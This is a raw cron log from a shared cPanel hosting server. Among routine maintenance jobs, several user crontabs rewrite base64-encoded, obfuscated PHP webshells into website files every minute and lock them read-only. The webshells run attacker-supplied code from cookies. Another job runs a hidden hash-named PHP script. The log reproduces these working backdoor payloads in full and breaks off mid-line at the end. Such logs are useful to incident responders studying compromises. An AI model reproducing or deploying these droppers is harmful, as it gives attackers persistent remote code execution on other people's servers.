Mar  2 16:35:02 medusa CROND[16833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:35:02 medusa CROND[16837]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:35:02 medusa CROND[16839]: (sigemp) CMD (/home7/sigemp/public_html/cgi-bin/rotarlog.sh)
Mar  2 16:35:02 medusa CROND[16832]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:35:02 medusa CROND[16835]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:35:02 medusa CROND[16843]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:35:02 medusa CROND[16847]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:35:02 medusa CROND[16840]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 16:35:02 medusa CROND[16838]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:35:02 medusa CROND[16844]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 16:35:02 medusa CROND[16826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:35:02 medusa CROND[16849]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 16:36:01 medusa CROND[3720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:36:01 medusa CROND[3844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:36:01 medusa CROND[3893]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:36:01 medusa CROND[3894]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:36:01 medusa CROND[3899]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:36:01 medusa CROND[3898]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:36:01 medusa CROND[3900]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:36:01 medusa CROND[3902]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:36:01 medusa CROND[3904]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:36:01 medusa CROND[3905]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:36:01 medusa CROND[3911]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:36:01 medusa CROND[3913]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:36:01 medusa CROND[3915]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:36:01 medusa CROND[3919]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:37:02 medusa CROND[20459]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:37:02 medusa CROND[20460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:37:02 medusa CROND[20461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:37:02 medusa CROND[20462]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:37:02 medusa CROND[20463]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:37:02 medusa CROND[20467]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:37:02 medusa CROND[20469]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:37:02 medusa CROND[20470]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:37:02 medusa CROND[20480]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 